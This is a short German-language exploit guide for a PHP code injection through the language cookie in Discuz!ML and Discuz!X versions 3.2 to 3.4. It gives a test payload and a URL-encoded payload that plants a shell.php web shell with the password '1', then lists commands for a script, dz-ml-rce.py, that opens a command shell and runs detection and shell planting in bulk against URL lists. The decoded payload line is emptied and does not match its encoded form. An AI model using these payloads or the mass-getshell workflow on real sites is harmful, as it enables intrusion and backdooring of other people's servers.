
Betroffene Systeme und Versionen: Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4
Betroffene Systeme und Versionen: Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 Schwachstellengrund: Das Discuz!ML-System filtert den Inhalt des language-Parameters, der im Cookie über l empfangen wird, nicht, was zu einer String-Verkettung führt und die Ausführung von PHP-Code ermöglicht.
Im Cookie-Feld erscheint ein Feld xxxx_xxxx_language; die Grundursache ist, dass dieses Feld eine Injektion aufweist, was zu RCE führt.
Fangen Sie den Datenverkehr ab, ermitteln Sie den Wert von language im Cookie und ändern Sie ihn zu:
xxxx_xxxx_language=sc'.phpinfo().'
getshell
%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27 Eigentlich:
'.+file_put_contents('shell.php',urldecode('')).'
Damit wird shell.php im Pfad erzeugt, das Verbindungspasswort ist 1.
============================================================================================================================================================== Prüfen, ob die Schwachstelle vorhanden ist
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
cmdshell-Modus
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
getshell-Modus
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
Massenerkennung
python dz-ml-rce.py -f urls.txt
Massen-getshell
python dz-ml-rce.py -f urls.txt --getshell